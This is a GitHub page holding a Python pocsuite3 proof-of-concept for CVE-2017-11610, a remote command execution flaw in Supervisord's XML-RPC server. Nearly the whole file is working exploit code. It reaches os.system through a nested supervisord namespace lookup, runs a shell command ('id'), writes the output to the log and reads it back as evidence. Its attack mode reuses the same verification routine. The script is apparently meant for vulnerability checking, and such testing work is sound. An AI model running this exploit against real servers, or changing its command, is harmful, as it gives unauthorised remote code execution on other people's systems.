forked from hanc00l/some_pocsuite
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsupervisord-2017-11610_3_rce.py
77 lines (68 loc) · 2.64 KB
/
supervisord-2017-11610_3_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# coding: utf-8
import xmlrpc.client
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE
class TestPOC(POCBase):
vulID = ''
version = '1.0'
author = 'kcat'
vulDate = '2017-7-24'
createDate = '2020-2-20'
updateDate = '2020-2-20'
references = [
'https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610']
name = 'CVE-2017-11610 Supervisord 远程命令执行漏洞'
appPowerLink = ''
appName = 'Supervisord'
appVersion = '3.x'
vulType = VUL_TYPE.CODE_EXECUTION
category = POC_CATEGORY.EXPLOITS.REMOTE
desc = '''
The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3
allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request,
related to nested supervisord namespace lookups.
利用 https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 中的'poc.py'来检测是否存在漏洞
'''
def _verify(self):
result = {}
pr = urlparse(self.url)
if pr.port:
ports = [pr.port]
else:
ports = [9001]
command = 'id'
for port in ports:
target = "{0}://{1}:{2}/RPC2".format(pr.scheme,
pr.hostname, str(port))
try:
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0, 0)
logfile = getattr(
proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')(
'{} | tee -a {}'.format(command, logfile))
result_ = getattr(proxy, 'supervisor.readLog')(0, 0)
msg = (result_[len(old):])
if 'uid' in msg:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
result['extra'] = {}
result['extra']['command'] = 'id'
result['extra']['evidence'] = msg
break
except:
pass
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('not vulnerability')
return output
register_poc(TestPOC)